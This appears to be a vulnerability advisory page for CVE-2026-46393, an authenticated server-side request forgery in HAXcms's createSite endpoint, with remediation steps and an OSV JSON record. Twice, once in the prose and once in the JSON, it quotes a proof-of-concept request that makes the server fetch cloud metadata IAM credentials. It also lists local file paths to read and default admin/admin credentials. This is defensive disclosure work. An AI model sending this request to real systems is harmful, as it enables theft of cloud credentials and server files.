CVE-2026-46393: @haxtheweb/haxcms nodejs HAXcms CreateSite SSRF Enables Arbitrary Vulnerability

HIGH
Advisory Identifier: GHSA-q862-gcgq-5m6g
CWE-918
Published
Advisory Summary

CVE-2026-46393 is a HIGH haxcms createsite ssrf enables arbitrary vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @haxtheweb/haxcms nodejs libraries in the npm ecosystem. The issue involves haxcms createsite ssrf enables arbitrary file read. Remediation is available by upgrading affected packages to version 26.0.0.

CVE-2026-46393 at a Glance

CVE Identifier CVE-2026-46393
GHSA Identifier GHSA-q862-gcgq-5m6g
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product @haxtheweb/haxcms nodejs
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-46393

To remediate this vulnerability, upgrade all affected @haxtheweb/haxcms nodejs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@haxtheweb/haxcms-nodejs fixed: 26.0.0
npm install @haxtheweb/haxcms-nodejs@26.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @haxtheweb/haxcms-nodejs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-46393, inspect your project dependencies using npm:

npm ls @haxtheweb/haxcms-nodejs

Analyze the terminal output to locate any version of @haxtheweb/haxcms nodejs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.0.0), your application is affected.

Note: The npm ls @haxtheweb/haxcms-nodejs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @haxtheweb/haxcms nodejs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. ### Details The `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`. The data flow is as follows: - User input (`build.files`) is processed via `object_to_array()` into a PHP array - Assigned to `$filesToDownload` in `Operations.php` (line 2626) - Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled In `HAXCMSFile.php` (line 30), the following occurs: ```php file_get_contents($upload['tmp_name']); ``` Here, tmp_name is attacker-controlled and may contain: - External URLs (`http://attacker.com`) - Internal services (`http://127.0.0.1`) - Cloud metadata endpoints (`http://169.254.169.254`) - Local file paths (`/etc/passwd`, `/proc/self/environ`) The bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled. There are no restrictions on: - URL schemes (`http`, `file`, `gopher`, etc.) - Destination IP ranges (internal, loopback, metadata services) - Response content All fetched content is written to: ``` sites/<sitename>/files/<filename> ``` and is accessible via the web. ### PoC Prerequisites: - Authenticated session (default credentials: `admin/admin` on fresh installs) - Valid JWT and CSRF token Step 1: Log in and capture JWT + CSRF token Step 2: Send crafted request: ``` POST /createSite HTTP/1.1 Host: target Authorization: Bearer [JWT] X-CSRF-Token: [TOKEN] Content-Type: application/json { "site": { "name": "poc" }, "build": { "files": { "poc.txt": { "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } ``` Step 3: Retrieve response: ``` GET /sites/poc/files/poc.txt ``` The response will contain the fetched content (e.g., cloud credentials or internal service data). ### Impact - SSRF enabling access to internal network services - Arbitrary file read via local filesystem paths - Cloud credential exposure through metadata endpoints - Data exfiltration via web-accessible file storage Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.

CVE-2026-46393 Affected @haxtheweb/haxcms nodejs Versions

1 component(s)
Fixed Versions:
26.0.0
Product / Package Ecosystem Affected Versions Fixed Version
@haxtheweb/haxcms-nodejs
npm
< 26.0.0
26.0.0

References

Frequently Asked Questions

What is CVE-2026-46393?
CVE-2026-46393 is a security vulnerability in @haxtheweb/haxcms nodejs involving HAXcms createSite SSRF Enables Arbitrary File Read under CWE-918: Server-Side Request Forgery (SSRF).
Which @haxtheweb/haxcms nodejs versions are affected?
Affected versions include releases prior to 26.0.0 across affected packages: @haxtheweb/haxcms-nodejs.
What version fixes CVE-2026-46393?
Upgrading to 26.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @haxtheweb/haxcms-nodejs affected?
Yes, @haxtheweb/haxcms-nodejs is affected in releases prior to 26.0.0. Upgrade your dependency to 26.0.0 or later.
What CWE is associated with CVE-2026-46393?
CVE-2026-46393 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-46393?
Run the dependency tree command: 'npm ls @haxtheweb/haxcms-nodejs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q862-gcgq-5m6g",
  "modified" : "2026-06-09T11:56:33Z",
  "published" : "2026-05-19T14:44:20Z",
  "aliases" : [ "CVE-2026-46393" ],
  "summary" : "HAXcms createSite SSRF Enables Arbitrary File Read",
  "details" : "### Summary  \nAn authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.\n\n### Details  \nThe `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.\n\nThe data flow is as follows:\n- User input (`build.files`) is processed via `object_to_array()` into a PHP array  \n- Assigned to `$filesToDownload` in `Operations.php` (line 2626)  \n- Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled  \n\nIn `HAXCMSFile.php` (line 30), the following occurs:\n```php\nfile_get_contents($upload['tmp_name']);\n```\n\nHere, tmp_name is attacker-controlled and may contain:\n\n- External URLs (`http://attacker.com`)\n- Internal services (`http://127.0.0.1`)\n- Cloud metadata endpoints (`http://169.254.169.254`)\n- Local file paths (`/etc/passwd`, `/proc/self/environ`)\n\nThe bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.\n\nThere are no restrictions on:\n\n- URL schemes (`http`, `file`, `gopher`, etc.)\n- Destination IP ranges (internal, loopback, metadata services)\n- Response content\n\nAll fetched content is written to:\n```\nsites/<sitename>/files/<filename>\n```\nand is accessible via the web.\n\n### PoC\nPrerequisites:\n\n- Authenticated session (default credentials: `admin/admin` on fresh installs)\n- Valid JWT and CSRF token\n\nStep 1: Log in and capture JWT + CSRF token\n\nStep 2: Send crafted request:\n```\nPOST /createSite HTTP/1.1\nHost: target\nAuthorization: Bearer [JWT]\nX-CSRF-Token: [TOKEN]\nContent-Type: application/json\n\n{\n  \"site\": {\n    \"name\": \"poc\"\n  },\n  \"build\": {\n    \"files\": {\n      \"poc.txt\": {\n        \"tmp_name\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n      }\n    }\n  }\n}\n```\n\nStep 3: Retrieve response:\n```\nGET /sites/poc/files/poc.txt\n```\n\nThe response will contain the fetched content (e.g., cloud credentials or internal service data).\n\n### Impact\n\n- SSRF enabling access to internal network services\n- Arbitrary file read via local filesystem paths\n- Cloud credential exposure through metadata endpoints\n- Data exfiltration via web-accessible file storage\n\nAny authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@haxtheweb/haxcms-nodejs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.0.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 25.0.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/issues/security/advisories/GHSA-q862-gcgq-5m6g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46393"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/haxtheweb/issues"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T14:44:20Z",
    "nvd_published_at" : "2026-06-05T19:16:33Z"
  }
}